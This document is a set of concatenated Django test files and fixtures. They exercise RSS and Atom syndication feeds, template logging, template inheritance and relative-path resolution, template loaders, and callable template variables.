        feed = minidom.parseString(response.content).firstChild
        entries = feed.getElementsByTagName('entry')

        published = entries[0].getElementsByTagName('published')[0].firstChild.wholeText
        updated = entries[0].getElementsByTagName('updated')[0].firstChild.wholeText

        self.assertNotEqual(published, updated)

    def test_atom_single_enclosure(self):
        response = self.client.get('/syndication/atom/single-enclosure/')
        feed = minidom.parseString(response.content).firstChild
        items = feed.getElementsByTagName('entry')
        for item in items:
            links = item.getElementsByTagName('link')
            links = [link for link in links if link.getAttribute('rel') == 'enclosure']
            self.assertEqual(len(links), 1)

    def test_atom_multiple_enclosures(self):
        response = self.client.get('/syndication/atom/multiple-enclosure/')
        feed = minidom.parseString(response.content).firstChild
        items = feed.getElementsByTagName('entry')
        for item in items:
            links = item.getElementsByTagName('link')
            links = [link for link in links if link.getAttribute('rel') == 'enclosure']
            self.assertEqual(len(links), 2)

    def test_latest_post_date(self):
        """
        Test that both the published and updated dates are
        considered when determining the latest post date.
        """
        # this feed has a `published` element with the latest date
        response = self.client.get('/syndication/atom/')
        feed = minidom.parseString(response.content).firstChild
        updated = feed.getElementsByTagName('updated')[0].firstChild.wholeText

        d = Entry.objects.latest('published').published
        latest_published = rfc3339_date(timezone.make_aware(d, TZ))

        self.assertEqual(updated, latest_published)

        # this feed has an `updated` element with the latest date
        response = self.client.get('/syndication/latest/')
        feed = minidom.parseString(response.content).firstChild
        updated = feed.getElementsByTagName('updated')[0].firstChild.wholeText

        d = Entry.objects.exclude(pk=5).latest('updated').updated
        latest_updated = rfc3339_date(timezone.make_aware(d, TZ))

        self.assertEqual(updated, latest_updated)

    def test_custom_feed_generator(self):
        response = self.client.get('/syndication/custom/')
        feed = minidom.parseString(response.content).firstChild

        self.assertEqual(feed.nodeName, 'feed')
        self.assertEqual(feed.getAttribute('django'), 'rocks')
        self.assertChildNodes(
            feed,
            ['title', 'subtitle', 'link', 'id', 'updated', 'entry', 'spam', 'rights', 'category', 'author']
        )

        entries = feed.getElementsByTagName('entry')
        self.assertEqual(len(entries), Entry.objects.count())
        for entry in entries:
            self.assertEqual(entry.getAttribute('bacon'), 'yum')
            self.assertChildNodes(entry, [
                'title',
                'link',
                'id',
                'summary',
                'ministry',
                'rights',
                'author',
                'updated',
                'published',
                'category',
            ])
            summary = entry.getElementsByTagName('summary')[0]
            self.assertEqual(summary.getAttribute('type'), 'html')

    def test_title_escaping(self):
        """
        Tests that titles are escaped correctly in RSS feeds.
        """
        response = self.client.get('/syndication/rss2/')
        doc = minidom.parseString(response.content)
        for item in doc.getElementsByTagName('item'):
            link = item.getElementsByTagName('link')[0]
            if link.firstChild.wholeText == 'http://example.com/blog/4/':
                title = item.getElementsByTagName('title')[0]
                self.assertEqual(title.firstChild.wholeText, 'A &amp; B &lt; C &gt; D')

    def test_naive_datetime_conversion(self):
        """
        Test that datetimes are correctly converted to the local time zone.
        """
        # Naive date times passed in get converted to the local time zone, so
        # check the received zone offset against the local offset.
        response = self.client.get('/syndication/naive-dates/')
        doc = minidom.parseString(response.content)
        updated = doc.getElementsByTagName('updated')[0].firstChild.wholeText

        d = Entry.objects.latest('published').published
        latest = rfc3339_date(timezone.make_aware(d, TZ))

        self.assertEqual(updated, latest)

    def test_aware_datetime_conversion(self):
        """
        Test that datetimes with timezones don't get trodden on.
        """
        response = self.client.get('/syndication/aware-dates/')
        doc = minidom.parseString(response.content)
        published = doc.getElementsByTagName('published')[0].firstChild.wholeText
        self.assertEqual(published[-6:], '+00:42')

    @requires_tz_support
    def test_feed_last_modified_time_naive_date(self):
        """
        Tests the Last-Modified header with naive publication dates.
        """
        response = self.client.get('/syndication/naive-dates/')
        self.assertEqual(response['Last-Modified'], 'Tue, 26 Mar 2013 01:00:00 GMT')

    def test_feed_last_modified_time(self):
        """
        Tests the Last-Modified header with aware publication dates.
        """
        response = self.client.get('/syndication/aware-dates/')
        self.assertEqual(response['Last-Modified'], 'Mon, 25 Mar 2013 19:18:00 GMT')

        # No last-modified when feed has no item_pubdate
        response = self.client.get('/syndication/no_pubdate/')
        self.assertFalse(response.has_header('Last-Modified'))

    def test_feed_url(self):
        """
        Test that the feed_url can be overridden.
        """
        response = self.client.get('/syndication/feedurl/')
        doc = minidom.parseString(response.content)
        for link in doc.getElementsByTagName('link'):
            if link.getAttribute('rel') == 'self':
                self.assertEqual(link.getAttribute('href'), 'http://example.com/customfeedurl/')

    def test_secure_urls(self):
        """
        Test URLs are prefixed with https:// when feed is requested over HTTPS.
        """
        response = self.client.get('/syndication/rss2/', **{
            'wsgi.url_scheme': 'https',
        })
        doc = minidom.parseString(response.content)
        chan = doc.getElementsByTagName('channel')[0]
        self.assertEqual(
            chan.getElementsByTagName('link')[0].firstChild.wholeText[0:5],
            'https'
        )
        atom_link = chan.getElementsByTagName('atom:link')[0]
        self.assertEqual(atom_link.getAttribute('href')[0:5], 'https')
        for link in doc.getElementsByTagName('link'):
            if link.getAttribute('rel') == 'self':
                self.assertEqual(link.getAttribute('href')[0:5], 'https')

    def test_item_link_error(self):
        """
        Test that an ImproperlyConfigured is raised if no link could be found
        for the item(s).
        """
        with self.assertRaises(ImproperlyConfigured):
            self.client.get('/syndication/articles/')

    def test_template_feed(self):
        """
        Test that the item title and description can be overridden with
        templates.
        """
        response = self.client.get('/syndication/template/')
        doc = minidom.parseString(response.content)
        feed = doc.getElementsByTagName('rss')[0]
        chan = feed.getElementsByTagName('channel')[0]
        items = chan.getElementsByTagName('item')

        self.assertChildNodeContent(items[0], {
            'title': 'Title in your templates: My first entry\n',
            'description': 'Description in your templates: My first entry\n',
            'link': 'http://example.com/blog/1/',
        })

    def test_template_context_feed(self):
        """
        Test that custom context data can be passed to templates for title
        and description.
        """
        response = self.client.get('/syndication/template_context/')
        doc = minidom.parseString(response.content)
        feed = doc.getElementsByTagName('rss')[0]
        chan = feed.getElementsByTagName('channel')[0]
        items = chan.getElementsByTagName('item')

        self.assertChildNodeContent(items[0], {
            'title': 'My first entry (foo is bar)\n',
            'description': 'My first entry (foo is bar)\n',
        })

    def test_add_domain(self):
        """
        Test add_domain() prefixes domains onto the correct URLs.
        """
        self.assertEqual(
            views.add_domain('example.com', '/foo/?arg=value'),
            'http://example.com/foo/?arg=value'
        )
        self.assertEqual(
            views.add_domain('example.com', '/foo/?arg=value', True),
            'https://example.com/foo/?arg=value'
        )
        self.assertEqual(
            views.add_domain('example.com', 'http://djangoproject.com/doc/'),
            'http://djangoproject.com/doc/'
        )
        self.assertEqual(
            views.add_domain('example.com', 'https://djangoproject.com/doc/'),
            'https://djangoproject.com/doc/'
        )
        self.assertEqual(
            views.add_domain('example.com', 'mailto:uhoh@djangoproject.com'),
            'mailto:uhoh@djangoproject.com'
        )
        self.assertEqual(
            views.add_domain('example.com', '//example.com/foo/?arg=value'),
            'http://example.com/foo/?arg=value'
        )


class FeedgeneratorTestCase(TestCase):
    def test_add_item_warns_when_enclosure_kwarg_is_used(self):
        feed = SyndicationFeed(title='Example', link='http://example.com', description='Foo')
        msg = 'The enclosure keyword argument is deprecated, use enclosures instead.'
        with self.assertRaisesMessage(RemovedInDjango20Warning, msg):
            feed.add_item(
                title='Example Item',
                link='https://example.com/item',
                description='bar',
                enclosure=Enclosure('http://example.com/favicon.ico', 0, 'image/png'),
            )






from __future__ import unicode_literals

from django.contrib.syndication import views
from django.utils import feedgenerator
from django.utils.timezone import get_fixed_timezone

from .models import Article, Entry


class TestRss2Feed(views.Feed):
    title = 'My blog'
    description = 'A more thorough description of my blog.'
    link = '/blog/'
    feed_guid = '/foo/bar/1234'
    author_name = 'Sally Smith'
    author_email = 'test@example.com'
    author_link = 'http://www.example.com/'
    categories = ('python', 'django')
    feed_copyright = 'Copyright (c) 2007, Sally Smith'
    ttl = 600

    def items(self):
        return Entry.objects.all()

    def item_description(self, item):
        return "Overridden description: %s" % item

    def item_pubdate(self, item):
        return item.published

    def item_updateddate(self, item):
        return item.updated

    item_author_name = 'Sally Smith'
    item_author_email = 'test@example.com'
    item_author_link = 'http://www.example.com/'
    item_categories = ('python', 'testing')
    item_copyright = 'Copyright (c) 2007, Sally Smith'


class TestRss2FeedWithGuidIsPermaLinkTrue(TestRss2Feed):
    def item_guid_is_permalink(self, item):
        return True


class TestRss2FeedWithGuidIsPermaLinkFalse(TestRss2Feed):
    def item_guid(self, item):
        return str(item.pk)

    def item_guid_is_permalink(self, item):
        return False


class TestRss091Feed(TestRss2Feed):
    feed_type = feedgenerator.RssUserland091Feed


class TestNoPubdateFeed(views.Feed):
    title = 'Test feed'
    link = '/feed/'

    def items(self):
        return Entry.objects.all()


class TestAtomFeed(TestRss2Feed):
    feed_type = feedgenerator.Atom1Feed
    subtitle = TestRss2Feed.description


class TestLatestFeed(TestRss2Feed):
    """
    A feed where the latest entry date is an `updated` element.
    """
    feed_type = feedgenerator.Atom1Feed
    subtitle = TestRss2Feed.description

    def items(self):
        return Entry.objects.exclude(pk=5)


class ArticlesFeed(TestRss2Feed):
    """
    A feed to test no link being defined. Articles have no get_absolute_url()
    method, and item_link() is not defined.
    """
    def items(self):
        return Article.objects.all()


class TestSingleEnclosureRSSFeed(TestRss2Feed):
    """
    A feed to test that RSS feeds work with a single enclosure.
    """
    def item_enclosure_url(self, item):
        return 'http://example.com'

    def item_enclosure_size(self, item):
        return 0

    def item_mime_type(self, item):
        return 'image/png'


class TestMultipleEnclosureRSSFeed(TestRss2Feed):
    """
    A feed to test that RSS feeds raise an exception with multiple enclosures.
    """
    def item_enclosures(self, item):
        return [
            feedgenerator.Enclosure('http://example.com/hello.png', 0, 'image/png'),
            feedgenerator.Enclosure('http://example.com/goodbye.png', 0, 'image/png'),
        ]


class TemplateFeed(TestRss2Feed):
    """
    A feed to test defining item titles and descriptions with templates.
    """
    title_template = 'syndication/title.html'
    description_template = 'syndication/description.html'

    # Defining a template overrides any item_title definition
    def item_title(self):
        return "Not in a template"


class TemplateContextFeed(TestRss2Feed):
    """
    A feed to test custom context data in templates for title or description.
    """
    title_template = 'syndication/title_context.html'
    description_template = 'syndication/description_context.html'

    def get_context_data(self, **kwargs):
        context = super(TemplateContextFeed, self).get_context_data(**kwargs)
        context['foo'] = 'bar'
        return context


class NaiveDatesFeed(TestAtomFeed):
    """
    A feed with naive (non-timezone-aware) dates.
    """
    def item_pubdate(self, item):
        return item.published


class TZAwareDatesFeed(TestAtomFeed):
    """
    A feed with timezone-aware dates.
    """
    def item_pubdate(self, item):
        # Provide a weird offset so that the test can know it's getting this
        # specific offset and not accidentally getting on from
        # settings.TIME_ZONE.
        return item.published.replace(tzinfo=get_fixed_timezone(42))


class TestFeedUrlFeed(TestAtomFeed):
    feed_url = 'http://example.com/customfeedurl/'


class MyCustomAtom1Feed(feedgenerator.Atom1Feed):
    """
    Test of a custom feed generator class.
    """
    def root_attributes(self):
        attrs = super(MyCustomAtom1Feed, self).root_attributes()
        attrs['django'] = 'rocks'
        return attrs

    def add_root_elements(self, handler):
        super(MyCustomAtom1Feed, self).add_root_elements(handler)
        handler.addQuickElement('spam', 'eggs')

    def item_attributes(self, item):
        attrs = super(MyCustomAtom1Feed, self).item_attributes(item)
        attrs['bacon'] = 'yum'
        return attrs

    def add_item_elements(self, handler, item):
        super(MyCustomAtom1Feed, self).add_item_elements(handler, item)
        handler.addQuickElement('ministry', 'silly walks')


class TestCustomFeed(TestAtomFeed):
    feed_type = MyCustomAtom1Feed


class TestSingleEnclosureAtomFeed(TestAtomFeed):
    """
    A feed to test that Atom feeds work with a single enclosure.
    """
    def item_enclosure_url(self, item):
        return 'http://example.com'

    def item_enclosure_size(self, item):
        return 0

    def item_mime_type(self, item):
        return 'image/png'


class TestMultipleEnclosureAtomFeed(TestAtomFeed):
    """
    A feed to test that Atom feeds work with multiple enclosures.
    """
    def item_enclosures(self, item):
        return [
            feedgenerator.Enclosure('http://example.com/hello.png', '0', 'image/png'),
            feedgenerator.Enclosure('http://example.com/goodbye.png', '0', 'image/png'),
        ]






from __future__ import unicode_literals

import logging

from django.template import Context, Engine, Variable, VariableDoesNotExist
from django.test import SimpleTestCase


class TestHandler(logging.Handler):
    def __init__(self):
        super(TestHandler, self).__init__()
        self.log_record = None

    def emit(self, record):
        self.log_record = record


class BaseTemplateLoggingTestCase(SimpleTestCase):
    def setUp(self):
        self.test_handler = TestHandler()
        self.logger = logging.getLogger('django.template')
        self.original_level = self.logger.level
        self.logger.addHandler(self.test_handler)
        self.logger.setLevel(self.loglevel)

    def tearDown(self):
        self.logger.removeHandler(self.test_handler)
        self.logger.level = self.original_level


class VariableResolveLoggingTests(BaseTemplateLoggingTestCase):
    loglevel = logging.DEBUG

    def test_log_on_variable_does_not_exist_silent(self):
        class TestObject(object):
            class SilentDoesNotExist(Exception):
                silent_variable_failure = True

            @property
            def template_name(self):
                return "template_name"

            @property
            def template(self):
                return Engine().from_string('')

            @property
            def article(self):
                raise TestObject.SilentDoesNotExist("Attribute does not exist.")

            def __iter__(self):
                return iter(attr for attr in dir(TestObject) if attr[:2] != "__")

            def __getitem__(self, item):
                return self.__dict__[item]

        Variable('article').resolve(TestObject())

        self.assertEqual(
            self.test_handler.log_record.getMessage(),
            "Exception while resolving variable 'article' in template 'template_name'."
        )
        self.assertIsNotNone(self.test_handler.log_record.exc_info)
        raised_exception = self.test_handler.log_record.exc_info[1]
        self.assertEqual(str(raised_exception), 'Attribute does not exist.')

    def test_log_on_variable_does_not_exist_not_silent(self):
        with self.assertRaises(VariableDoesNotExist):
            Variable('article.author').resolve({'article': {'section': 'News'}})

        self.assertEqual(
            self.test_handler.log_record.getMessage(),
            "Exception while resolving variable 'author' in template 'unknown'."
        )
        self.assertIsNotNone(self.test_handler.log_record.exc_info)
        raised_exception = self.test_handler.log_record.exc_info[1]
        self.assertEqual(
            str(raised_exception),
            'Failed lookup for key [author] in %r' % ("{%r: %r}" % ('section', 'News'))
        )

    def test_no_log_when_variable_exists(self):
        Variable('article.section').resolve({'article': {'section': 'News'}})
        self.assertIsNone(self.test_handler.log_record)


class IncludeNodeLoggingTests(BaseTemplateLoggingTestCase):
    loglevel = logging.WARN

    @classmethod
    def setUpClass(cls):
        super(IncludeNodeLoggingTests, cls).setUpClass()
        cls.engine = Engine(loaders=[
            ('django.template.loaders.locmem.Loader', {
                'child': '{{ raises_exception }}',
            }),
        ], debug=False)

        def error_method():
            raise IndexError("some generic exception")

        cls.ctx = Context({'raises_exception': error_method})

    def test_logs_exceptions_during_rendering_with_debug_disabled(self):
        template = self.engine.from_string('{% include "child" %}')
        template.name = 'template_name'
        self.assertEqual(template.render(self.ctx), '')
        self.assertEqual(
            self.test_handler.log_record.getMessage(),
            "Exception raised while rendering {% include %} for template "
            "'template_name'. Empty string rendered instead."
        )
        self.assertIsNotNone(self.test_handler.log_record.exc_info)
        self.assertEqual(self.test_handler.log_record.levelno, logging.WARN)

    def test_logs_exceptions_during_rendering_with_no_template_name(self):
        template = self.engine.from_string('{% include "child" %}')
        self.assertEqual(template.render(self.ctx), '')
        self.assertEqual(
            self.test_handler.log_record.getMessage(),
            "Exception raised while rendering {% include %} for template "
            "'unknown'. Empty string rendered instead."
        )
        self.assertIsNotNone(self.test_handler.log_record.exc_info)
        self.assertEqual(self.test_handler.log_record.levelno, logging.WARN)






# Fake views for testing url reverse lookup
from django.http import HttpResponse
from django.template.response import TemplateResponse


def index(request):
    pass


def client(request, id):
    pass


def client_action(request, id, action):
    pass


def client2(request, tag):
    pass


def template_response_view(request):
    return TemplateResponse(request, 'response.html', {})


def snark(request):
    return HttpResponse('Found him!')






import os

from django.template import Context, Engine, TemplateDoesNotExist
from django.template.loader_tags import ExtendsError
from django.template.loaders.base import Loader
from django.test import SimpleTestCase, ignore_warnings
from django.utils.deprecation import RemovedInDjango20Warning

from .utils import ROOT

RECURSIVE = os.path.join(ROOT, 'recursive_templates')


class ExtendsBehaviorTests(SimpleTestCase):

    def test_normal_extend(self):
        engine = Engine(dirs=[os.path.join(RECURSIVE, 'fs')])
        template = engine.get_template('one.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'three two one')

    def test_extend_recursive(self):
        engine = Engine(dirs=[
            os.path.join(RECURSIVE, 'fs'),
            os.path.join(RECURSIVE, 'fs2'),
            os.path.join(RECURSIVE, 'fs3'),
        ])
        template = engine.get_template('recursive.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'fs3/recursive fs2/recursive fs/recursive')

    def test_extend_missing(self):
        engine = Engine(dirs=[os.path.join(RECURSIVE, 'fs')])
        template = engine.get_template('extend-missing.html')
        with self.assertRaises(TemplateDoesNotExist) as e:
            template.render(Context({}))

        tried = e.exception.tried
        self.assertEqual(len(tried), 1)
        self.assertEqual(tried[0][0].template_name, 'missing.html')

    def test_recursive_multiple_loaders(self):
        engine = Engine(
            dirs=[os.path.join(RECURSIVE, 'fs')],
            loaders=[(
                'django.template.loaders.locmem.Loader', {
                    'one.html': (
                        '{% extends "one.html" %}{% block content %}{{ block.super }} locmem-one{% endblock %}'
                    ),
                    'two.html': (
                        '{% extends "two.html" %}{% block content %}{{ block.super }} locmem-two{% endblock %}'
                    ),
                    'three.html': (
                        '{% extends "three.html" %}{% block content %}{{ block.super }} locmem-three{% endblock %}'
                    ),
                }
            ), 'django.template.loaders.filesystem.Loader'],
        )
        template = engine.get_template('one.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'three locmem-three two locmem-two one locmem-one')

    def test_extend_self_error(self):
        """
        Catch if a template extends itself and no other matching
        templates are found.
        """
        engine = Engine(dirs=[os.path.join(RECURSIVE, 'fs')])
        template = engine.get_template('self.html')
        with self.assertRaises(TemplateDoesNotExist):
            template.render(Context({}))

    def test_extend_cached(self):
        engine = Engine(
            dirs=[
                os.path.join(RECURSIVE, 'fs'),
                os.path.join(RECURSIVE, 'fs2'),
                os.path.join(RECURSIVE, 'fs3'),
            ],
            loaders=[
                ('django.template.loaders.cached.Loader', [
                    'django.template.loaders.filesystem.Loader',
                ]),
            ],
        )
        template = engine.get_template('recursive.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'fs3/recursive fs2/recursive fs/recursive')

        cache = engine.template_loaders[0].get_template_cache
        self.assertEqual(len(cache), 3)
        expected_path = os.path.join('fs', 'recursive.html')
        self.assertTrue(cache['recursive.html'].origin.name.endswith(expected_path))

        # Render another path that uses the same templates from the cache
        template = engine.get_template('other-recursive.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'fs3/recursive fs2/recursive fs/recursive')

        # Template objects should not be duplicated.
        self.assertEqual(len(cache), 4)
        expected_path = os.path.join('fs', 'other-recursive.html')
        self.assertTrue(cache['other-recursive.html'].origin.name.endswith(expected_path))

    def test_unique_history_per_loader(self):
        """
        Extending should continue even if two loaders return the same
        name for a template.
        """
        engine = Engine(
            loaders=[
                ['django.template.loaders.locmem.Loader', {
                    'base.html': '{% extends "base.html" %}{% block content %}{{ block.super }} loader1{% endblock %}',
                }],
                ['django.template.loaders.locmem.Loader', {
                    'base.html': '{% block content %}loader2{% endblock %}',
                }],
            ]
        )
        template = engine.get_template('base.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'loader2 loader1')


class NonRecursiveLoader(Loader):

    def __init__(self, engine, templates_dict):
        self.templates_dict = templates_dict
        super(NonRecursiveLoader, self).__init__(engine)

    def load_template_source(self, template_name, template_dirs=None):
        try:
            return self.templates_dict[template_name], template_name
        except KeyError:
            raise TemplateDoesNotExist(template_name)


@ignore_warnings(category=RemovedInDjango20Warning)
class NonRecursiveLoaderExtendsTests(SimpleTestCase):

    loaders = [
        ('template_tests.test_extends.NonRecursiveLoader', {
            'base.html': 'base',
            'index.html': '{% extends "base.html" %}',
            'recursive.html': '{% extends "recursive.html" %}',
            'other-recursive.html': '{% extends "recursive.html" %}',
            'a.html': '{% extends "b.html" %}',
            'b.html': '{% extends "a.html" %}',
        }),
    ]

    def test_extend(self):
        engine = Engine(loaders=self.loaders)
        output = engine.render_to_string('index.html')
        self.assertEqual(output, 'base')

    def test_extend_cached(self):
        engine = Engine(loaders=[
            ('django.template.loaders.cached.Loader', self.loaders),
        ])
        output = engine.render_to_string('index.html')
        self.assertEqual(output, 'base')

        cache = engine.template_loaders[0].template_cache
        self.assertIn('base.html', cache)
        self.assertIn('index.html', cache)

        # Render a second time from cache
        output = engine.render_to_string('index.html')
        self.assertEqual(output, 'base')

    def test_extend_error(self):
        engine = Engine(loaders=self.loaders)
        msg = 'Cannot extend templates recursively when using non-recursive template loaders'

        with self.assertRaisesMessage(ExtendsError, msg):
            engine.render_to_string('recursive.html')

        with self.assertRaisesMessage(ExtendsError, msg):
            engine.render_to_string('other-recursive.html')

        with self.assertRaisesMessage(ExtendsError, msg):
            engine.render_to_string('a.html')






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.conf.urls import include, url

from . import views

ns_patterns = [
    # Test urls for testing reverse lookups
    url(r'^$', views.index, name='index'),
    url(r'^client/([0-9,]+)/$', views.client, name='client'),
    url(r'^client/(?P<id>[0-9]+)/(?P<action>[^/]+)/$', views.client_action, name='client_action'),
    url(r'^client/(?P<client_id>[0-9]+)/(?P<action>[^/]+)/$', views.client_action, name='client_action'),
    url(r'^named-client/([0-9]+)/$', views.client2, name="named.client"),
]


urlpatterns = ns_patterns + [
    # Unicode strings are permitted everywhere.
    url(r'^Юникод/(\w+)/$', views.client2, name="метка_оператора"),
    url(r'^Юникод/(?P<tag>\S+)/$', views.client2, name="метка_оператора_2"),

    # Test urls for namespaces and current_app
    url(r'ns1/', include((ns_patterns, 'app'), 'ns1')),
    url(r'ns2/', include((ns_patterns, 'app'))),
]






import os

from django.template import Context
from django.template.engine import Engine
from django.test import SimpleTestCase

from .utils import ROOT, TEMPLATE_DIR

OTHER_DIR = os.path.join(ROOT, 'other_templates')


class RenderToStringTest(SimpleTestCase):

    def setUp(self):
        self.engine = Engine(dirs=[TEMPLATE_DIR])

    def test_basic_context(self):
        self.assertEqual(
            self.engine.render_to_string('test_context.html', {'obj': 'test'}),
            'obj:test\n',
        )


class LoaderTests(SimpleTestCase):

    def test_origin(self):
        engine = Engine(dirs=[TEMPLATE_DIR], debug=True)
        template = engine.get_template('index.html')
        self.assertEqual(template.origin.template_name, 'index.html')

    def test_loader_priority(self):
        """
        #21460 -- Check that the order of template loader works.
        """
        loaders = [
            'django.template.loaders.filesystem.Loader',
            'django.template.loaders.app_directories.Loader',
        ]
        engine = Engine(dirs=[OTHER_DIR, TEMPLATE_DIR], loaders=loaders)
        template = engine.get_template('priority/foo.html')
        self.assertEqual(template.render(Context()), 'priority\n')

    def test_cached_loader_priority(self):
        """
        Check that the order of template loader works. Refs #21460.
        """
        loaders = [
            ('django.template.loaders.cached.Loader', [
                'django.template.loaders.filesystem.Loader',
                'django.template.loaders.app_directories.Loader',
            ]),
        ]
        engine = Engine(dirs=[OTHER_DIR, TEMPLATE_DIR], loaders=loaders)

        template = engine.get_template('priority/foo.html')
        self.assertEqual(template.render(Context()), 'priority\n')

        template = engine.get_template('priority/foo.html')
        self.assertEqual(template.render(Context()), 'priority\n')






import os

from django.template import Context, Engine, TemplateSyntaxError
from django.test import SimpleTestCase

from .utils import ROOT

RELATIVE = os.path.join(ROOT, 'relative_templates')


class ExtendsRelativeBehaviorTests(SimpleTestCase):

    def test_normal_extend(self):
        engine = Engine(dirs=[RELATIVE])
        template = engine.get_template('one.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'three two one')

    def test_dir1_extend(self):
        engine = Engine(dirs=[RELATIVE])
        template = engine.get_template('dir1/one.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'three two one dir1 one')

    def test_dir1_extend1(self):
        engine = Engine(dirs=[RELATIVE])
        template = engine.get_template('dir1/one1.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'three two one dir1 one')

    def test_dir1_extend2(self):
        engine = Engine(dirs=[RELATIVE])
        template = engine.get_template('dir1/one2.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'three two one dir1 one')

    def test_dir1_extend3(self):
        engine = Engine(dirs=[RELATIVE])
        template = engine.get_template('dir1/one3.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'three two one dir1 one')

    def test_dir2_extend(self):
        engine = Engine(dirs=[RELATIVE])
        template = engine.get_template('dir1/dir2/one.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'three two one dir2 one')

    def test_extend_error(self):
        engine = Engine(dirs=[RELATIVE])
        msg = (
            "The relative path '\"./../two.html\"' points outside the file "
            "hierarchy that template 'error_extends.html' is in."
        )
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            engine.render_to_string('error_extends.html')


class IncludeRelativeBehaviorTests(SimpleTestCase):

    def test_normal_include(self):
        engine = Engine(dirs=[RELATIVE])
        template = engine.get_template('dir1/dir2/inc2.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'dir2 include')

    def test_dir2_include(self):
        engine = Engine(dirs=[RELATIVE])
        template = engine.get_template('dir1/dir2/inc1.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'three')

    def test_include_error(self):
        engine = Engine(dirs=[RELATIVE])
        msg = (
            "The relative path '\"./../three.html\"' points outside the file "
            "hierarchy that template 'error_include.html' is in."
        )
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            engine.render_to_string('error_include.html')


class ExtendsMixedBehaviorTests(SimpleTestCase):

    def test_mixing1(self):
        engine = Engine(dirs=[RELATIVE])
        template = engine.get_template('dir1/two.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'three two one dir2 one dir1 two')

    def test_mixing2(self):
        engine = Engine(dirs=[RELATIVE])
        template = engine.get_template('dir1/three.html')
        output = template.render(Context({}))
        self.assertEqual(output.strip(), 'three dir1 three')

    def test_mixing_loop(self):
        engine = Engine(dirs=[RELATIVE])
        msg = (
            "The relative path '\"./dir2/../looped.html\"' was translated to "
            "template name \'dir1/looped.html\', the same template in which "
            "the tag appears."
        )
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            engine.render_to_string('dir1/looped.html')






from django import template

register = template.Library()


@register.simple_tag()
def annotated_tag_function(val: int):
    return val






from unittest import TestCase

from django.template import Engine

from .utils import TEMPLATE_DIR


class OriginTestCase(TestCase):
    def setUp(self):
        self.engine = Engine(dirs=[TEMPLATE_DIR])

    def test_origin_compares_equal(self):
        a = self.engine.get_template('index.html')
        b = self.engine.get_template('index.html')
        self.assertEqual(a.origin, b.origin)
        self.assertTrue(a.origin == b.origin)
        self.assertFalse(a.origin != b.origin)

    def test_origin_compares_not_equal(self):
        a = self.engine.get_template('first/test.html')
        b = self.engine.get_template('second/test.html')
        self.assertNotEqual(a.origin, b.origin)
        self.assertFalse(a.origin == b.origin)
        self.assertTrue(a.origin != b.origin)






from __future__ import unicode_literals

from unittest import TestCase

from django.template import Context, Engine


class CallableVariablesTests(TestCase):

    @classmethod
    def setUpClass(cls):
        cls.engine = Engine()
        super(CallableVariablesTests, cls).setUpClass()

    def test_callable(self):

        class Doodad(object):
            def __init__(self, value):
                self.num_calls = 0
                self.value = value

            def __call__(self):
                self.num_calls += 1
                return {"the_value": self.value}

        my_doodad = Doodad(42)
        c = Context({"my_doodad": my_doodad})

        # We can't access ``my_doodad.value`` in the template, because
        # ``my_doodad.__call__`` will be invoked first, yielding a dictionary
        # without a key ``value``.
        t = self.engine.from_string('{{ my_doodad.value }}')
        self.assertEqual(t.render(c), '')

        # We can confirm that the doodad has been called
        self.assertEqual(my_doodad.num_calls, 1)

        # But we can access keys on the dict that's returned
        # by ``__call__``, instead.
        t = self.engine.from_string('{{ my_doodad.the_value }}')
        self.assertEqual(t.render(c), '42')
        self.assertEqual(my_doodad.num_calls, 2)

    def test_alters_data(self):

        class Doodad(object):
            alters_data = True

            def __init__(self, value):
                self.num_calls = 0
                self.value = value

            def __call__(self):
                self.num_calls += 1
                return {"the_value": self.value}

        my_doodad = Doodad(42)
        c = Context({"my_doodad": my_doodad})

        # Since ``my_doodad.alters_data`` is True, the template system will not
        # try to call our doodad but will use string_if_invalid
        t = self.engine.from_string('{{ my_doodad.value }}')
        self.assertEqual(t.render(c), '')
        t = self.engine.from_string('{{ my_doodad.the_value }}')
        self.assertEqual(t.render(c), '')

        # Double-check that the object was really never called during the
        # template rendering.
        self.assertEqual(my_doodad.num_calls, 0)

    def test_do_not_call(self):

        class Doodad(object):
            do_not_call_in_templates = True

            def __init__(self, value):
                self.num_calls = 0
                self.value = value

            def __call__(self):
                self.num_calls += 1
                return {"the_value": self.value}

        my_doodad = Doodad(42)
        c = Context({"my_doodad": my_doodad})

        # Since ``my_doodad.do_not_call_in_templates`` is True, the template
        # system will not try to call our doodad.  We can access its attributes
        # as normal, and we don't have access to the dict that it returns when
        # called.
        t = self.engine.from_string('{{ my_doodad.value }}')
        self.assertEqual(t.render(c), '42')
        t = self.engine.from_string('{{ my_doodad.the_value }}')
        self.assertEqual(t.render(c), '')

        # Double-check that the object was really never called during the
        # template rendering.
        self.assertEqual(my_doodad.num_calls, 0)

    def test_do_not_call_and_alters_data(self):
        # If we combine ``alters_data`` and ``do_not_call_in_templates``, the
        # ``alters_data`` attribute will not make any difference in the
        # template system's behavior.

        class Doodad(object):
            do_not_call_in_templates = True
            alters_data = True

            def __init__(self, value):
                self.num_calls = 0
                self.value = value

            def __call__(self):
                self.num_calls += 1
                return {"the_value": self.value}

        my_doodad = Doodad(42)
        c = Context({"my_doodad": my_doodad})

        t = self.engine.from_string('{{ my_doodad.value }}')
        self.assertEqual(t.render(c), '42')
        t = self.engine.from_string('{{ my_doodad.the_value }}')
        self.assertEqual(t.render(c), '')

        # Double-check that the object was really never called during the
        # template rendering.
        self.assertEqual(my_doodad.num_calls, 0)






from django import Xtemplate  # NOQA






import unittest

